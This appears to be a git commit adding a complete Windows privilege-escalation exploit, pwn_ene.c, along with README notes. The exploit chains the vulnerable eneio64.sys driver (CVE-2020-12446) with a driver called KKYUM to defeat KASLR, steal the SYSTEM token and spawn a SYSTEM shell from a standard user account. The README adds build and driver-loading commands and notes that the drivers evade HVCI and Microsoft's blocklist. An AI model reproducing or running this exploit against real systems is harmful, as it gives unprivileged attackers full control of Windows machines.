chain_exploit.c: fully unelevated via eneio64 CVE-2020-12446 + KKYUM

This commit is contained in:
0xdeadbeefnetwork
2026-08-16 21:51:54 -04:00
parent 88494cd843
commit 6785e048f6
2 changed files with 240 additions and 1 deletions
+56 -1
View File
@@ -121,7 +121,62 @@ Import table is ntoskrnl + the WDF loader stub only. No NDIS/WSK/file/registry
imports — the driver has no C2 or exfiltration capability; if the parent cheat imports — the driver has no C2 or exfiltration capability; if the parent cheat
phones home, the user-mode client does it. phones home, the user-mode client does it.
## unelevated notes (why this repo is elevated-only) ## chain_exploit.c — fully unelevated (no SeDebug, no admin)
`chain_exploit.c` chains a second vulnerable driver, **eneio64.sys**
(CVE-2020-12446, discovered by [@ihack4falafel](https://github.com/ihack4falafel),
exploit technique by [@Xacone](https://github.com/Xacone/Eneio64-Driver-Exploits),
sha256 `38c18db050b0b2b07f657c03db1c9595febae0319c746c3eede677e21cd238b0`,
WHQL-signed via ASUSTeK / ENE Technology, [LOLDrivers entry](https://www.loldrivers.io/drivers/90ecbbf7-b02f-424d-8b7d-56cc9e3b5873/)).
eneio64 maps **all physical memory** into the calling process via `\\.\GLCKIo`
(IOCTL `0x80102040`), from a standard user token, in one call. The entry-point
scan in the low 1MB of physical memory kills KASLR without asking Windows
anything — no API, no scrub layer, no decoy possible.
Both drivers load under HVCI with no test mode. Neither is in Microsoft's
vulnerable driver blocklist (verified against the local `driversipolicy.p7b`
and `VbsSiPolicy.p7b` — hash bytes, filenames, and signer names all absent).
Chain:
1. Open `\\.\GLCKIo` and `\\.\KKYUM` — both from a standard user token
2. eneio64 maps all 17.5 GB of physical memory into the process
3. Load `ntoskrnl.exe` file image locally, read the entry point RVA
4. Scan the low stub (first 1 MB of physical) for a live kernel pointer
to that entry — base = pointer − RVA (the Xacone method)
5. KKYUM reads the export table at that kernel VA → `PsInitialSystemProcess`
6. Walk `ActiveProcessLinks` to our EPROCESS, swap System's token over ours
7. Spawn `cmd /k whoami` — **`nt authority\system` from zero privileges**
8. Restore token after 2s
```
[*] running as x (elevated=0) - it doesn't matter
[+] both devices open, standard token [x, elevated=0]
[*] ntoskrnl entry point b4d3e0
[*] mapped 44963dfff bytes at 000001D736020000
[*] found entry ptr fffff805b4dfd3e0 -> base fffff805b42b0000
[+] nt base fffff805b42b0000
[+] sysEproc ffffd387356cf040 - Mew
[+] pid 9716 eprocess -> ffffd38745c9d080 - Mew
[+] tok ffff950d1959d066 -> ffff950d0d2894f5 - Meow
[+] SYSTEM cmd [pid 4008].
[+] Token restored! <3.
[*] Pop goes the shell.
```
Build:
```
x86_64-w64-mingw32-gcc -s -O2 -o chain_exploit.exe chain_exploit.c
```
Run (load both drivers once from admin, then normal cmd):
```
sc create KKYUM type= kernel binPath= C:\Windows\Temp\KKYUM.sys && sc start KKYUM
sc create eneio64 type= kernel binPath= C:\Windows\Temp\eneio64.sys && sc start eneio64
chain_exploit.exe
```
On 26100/26200 every classic unelevated kernel-address disclosure is closed On 26100/26200 every classic unelevated kernel-address disclosure is closed
against a standard user token: against a standard user token:
+184
View File
@@ -0,0 +1,184 @@
// pwn_ene.c - Xacone's KASLR (eneio64 phys, exactly their logic) + our pwn.c chain (KKYUM)
// zero privileges in, SYSTEM out. _SiCk // afflicted.sh
// kaslr method: CVE-2020-12446 @ihack4falafel / @Xacone
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
// ---- theirs: eneio64 (GLCKIo) ----
#define DEVICE_ENE "\\\\.\\GLCKIo"
#define IOCTL_MAP 0x80102040
typedef struct { uint64_t Size, val2, val3, MappingAddress, val5; } INPUTBUF;
// ---- ours: original pwn.c ----
#define IR 0x22265c
#define IW 0x222658
#define PIDO 0x1d0
#define LNKO 0x1d8
#define TOKO 0x248
static HANDLE kd;
static int kr(uint32_t pid, uint64_t a, void *b, uint64_t n) {
struct { uint32_t pid, cnt; struct { uint64_t r, l, s; } op; } rq = { pid, 1, a, (uint64_t)b, n };
DWORD br;
return DeviceIoControl(kd, IR, &rq, sizeof rq, &rq, sizeof rq, &br, 0);
}
static int kw(uint32_t pid, uint64_t a, const void *b, uint64_t n) {
struct { uint32_t pid, cnt; struct { uint64_t r, l, s; } op; } rq = { pid, 1, a, (uint64_t)b, n };
DWORD br;
return DeviceIoControl(kd, IW, &rq, sizeof rq, &rq, sizeof rq, &br, 0);
}
static uint64_t fexp(uint64_t b, const char *nm) {
uint8_t h[0x1000];
uint32_t e, nn, ar, nr, orr, *n32, f;
uint16_t o;
char s[64];
if (!kr(4, b, h, sizeof h)) return 0;
e = *(uint32_t *)(h + 0x3c);
e = *(uint32_t *)(h + e + 0x88);
if (!e || !kr(4, b + e, h, 0x28)) return 0;
nn = *(uint32_t *)(h + 0x18); ar = *(uint32_t *)(h + 0x1c);
nr = *(uint32_t *)(h + 0x20); orr = *(uint32_t *)(h + 0x24);
n32 = malloc(nn * 4);
if (!kr(4, b + nr, n32, nn * 4)) { free(n32); return 0; }
for (uint32_t i = 0; i < nn; i++) {
if (!kr(4, b + n32[i], s, 63)) continue;
s[63] = 0;
if (!strcmp(s, nm)) {
kr(4, b + orr + i * 2, &o, 2);
kr(4, b + ar + o * 4, &f, 4);
free(n32);
return b + f;
}
}
free(n32);
return 0;
}
// ---- theirs: kaslr_main.cpp logic, exactly ----
static DWORD_PTR module_entry_point(HMODULE h) {
uint8_t *b = (uint8_t *)h;
if (*(uint16_t *)b != 0x5A4D) return 0;
uint32_t lf = *(uint32_t *)(b + 0x3c);
if (*(uint32_t *)(b + lf) != 0x00004550) return 0;
return *(uint32_t *)(b + lf + 0x18 + 0x10);
}
static uint64_t find_nt_base(HANDLE ed) {
HMODULE h = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!h) { printf("[-] nt file image\n"); return 0; }
DWORD_PTR ep = module_entry_point(h);
printf("[*] ntoskrnl entry point %llx\n", (unsigned long long)ep);
MEMORYSTATUSEX mst = { sizeof mst };
GlobalMemoryStatusEx(&mst);
INPUTBUF inbuf = {0};
inbuf.Size = mst.ullTotalPhys - 1;
DWORD br;
if (!DeviceIoControl(ed, IOCTL_MAP, &inbuf, sizeof inbuf, &inbuf, sizeof inbuf, &br, 0) || !inbuf.MappingAddress) {
printf("[-] map\n");
return 0;
}
uint8_t *map = (uint8_t *)inbuf.MappingAddress;
printf("[*] mapped %llx bytes at %p\n", (unsigned long long)inbuf.Size, map);
// their loop, exactly: first 1MB, step 8, low-16 match
uint64_t found[16];
int nfound = 0;
for (uint64_t off = 0; off < 0x100000; off += 8) {
uint64_t q = *(uint64_t *)(map + off);
if ((q & 0xFFFF) != (ep & 0xFFFF)) continue;
uint64_t base = q - ep;
printf("[*] found entry ptr %llx -> base %llx\n", (unsigned long long)q, (unsigned long long)base);
int dup = 0;
for (int i = 0; i < nfound; i++) if (found[i] == base) dup = 1;
if (!dup && nfound < 16) found[nfound++] = base;
}
// majority vote among their hits (their demo prints all; we pick the most seen)
uint64_t counts[16] = {0};
for (uint64_t off = 0; off < 0x100000; off += 8) {
uint64_t q = *(uint64_t *)(map + off);
if ((q & 0xFFFF) != (ep & 0xFFFF)) continue;
for (int i = 0; i < nfound; i++) if (found[i] == q - ep) counts[i]++;
}
uint64_t best = 0;
int bestc = 0;
for (int i = 0; i < nfound; i++)
if ((int)counts[i] > bestc) { bestc = (int)counts[i]; best = found[i]; }
return best;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
printf(" _._ _,-'\"\"`-._\n"
"(,-.`._,'( |\\`-/|\n"
" `-.-' \\ )-`( , o o)\n"
" `- \\`_`\"'- _SiCk // afflicted.sh\n"
" kaslr method: CVE-2020-12446 @ihack4falafel / @Xacone\n\n");
HANDLE tok; TOKEN_ELEVATION te; DWORD br;
char usr[128]; DWORD ul = sizeof usr;
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &tok);
GetTokenInformation(tok, TokenElevation, &te, sizeof te, &br);
CloseHandle(tok);
GetUserNameA(usr, &ul);
printf("[*] running as %s (elevated=%d) - it doesn't matter\n", usr, te.TokenIsElevated);
HANDLE ed = CreateFileA(DEVICE_ENE, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
if (ed == INVALID_HANDLE_VALUE) { printf("[-] GLCKIo %lu\n", GetLastError()); return 1; }
kd = CreateFileW(L"\\\\.\\KKYUM", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
if (kd == INVALID_HANDLE_VALUE) { printf("[-] KKYUM %lu\n", GetLastError()); return 1; }
printf("[+] both devices open, standard token [%s, elevated=%d]\n", usr, te.TokenIsElevated);
uint64_t nt = find_nt_base(ed);
if (!nt) { printf("[-] no base\n"); return 1; }
printf("[+] nt base %016llx\n", (unsigned long long)nt);
// ---- self-swap (proven architecture), spawn AFTER with writable buffer ----
uint64_t pisp = fexp(nt, "PsInitialSystemProcess"), sys = 0, st = 0, mine = 0, chk = 0;
if (!pisp || !kr(4, pisp, &sys, 8) || !sys) { printf("[-] sys eproc\n"); return 1; }
printf("[+] sysEproc %016llx - Mew\n", (unsigned long long)sys);
kr(4, sys + TOKO, &st, 8);
for (uint64_t cur = sys, fl = 0, p = 0, i = 0; i < 4096; i++) {
if (!kr(4, cur + LNKO, &fl, 8)) break;
cur = fl - LNKO;
if (cur == sys) break;
if (kr(4, cur + PIDO, &p, 8) && p == GetCurrentProcessId()) { mine = cur; break; }
}
if (!mine) { printf("[-] our eproc\n"); return 1; }
uint64_t ot = 0;
kr(4, mine + TOKO, &ot, 8);
if (!kw(4, mine + TOKO, &st, 8) || !kr(4, mine + TOKO, &chk, 8) || chk != st) { printf("[-] swap\n"); return 1; }
printf("[+] pid %lu eprocess -> %016llx - Mew\n", GetCurrentProcessId(), (unsigned long long)mine);
printf("[+] tok %016llx -> %016llx - Meow\n", (unsigned long long)ot, (unsigned long long)st);
FILE *f = fopen("C:\\Users\\Public\\unpriv_proof.txt", "w");
if (f) {
fprintf(f, "unelevated SYSTEM: eneio64 phys KASLR + KKYUM self token swap\n");
fprintf(f, "nt base = %016llx\n", (unsigned long long)nt);
fprintf(f, "sysEproc = %016llx\n", (unsigned long long)sys);
fprintf(f, "myEproc = %016llx (pid %lu)\n", (unsigned long long)mine, GetCurrentProcessId());
fclose(f);
}
STARTUPINFOW si = { sizeof si };
PROCESS_INFORMATION pi;
static WCHAR cl[128];
wcscpy(cl, L"cmd.exe /k title UNELEVATED-SYSTEM && whoami && ver");
if (CreateProcessW(NULL, cl, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
printf("[+] SYSTEM cmd [pid %lu].\n", pi.dwProcessId);
CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
} else printf("[-] spawn %lu\n", GetLastError());
Sleep(2000);
kw(4, mine + TOKO, &ot, 8);
printf("[+] Token restored! <3.\n[*] Pop goes the shell.\n");
return 0;
}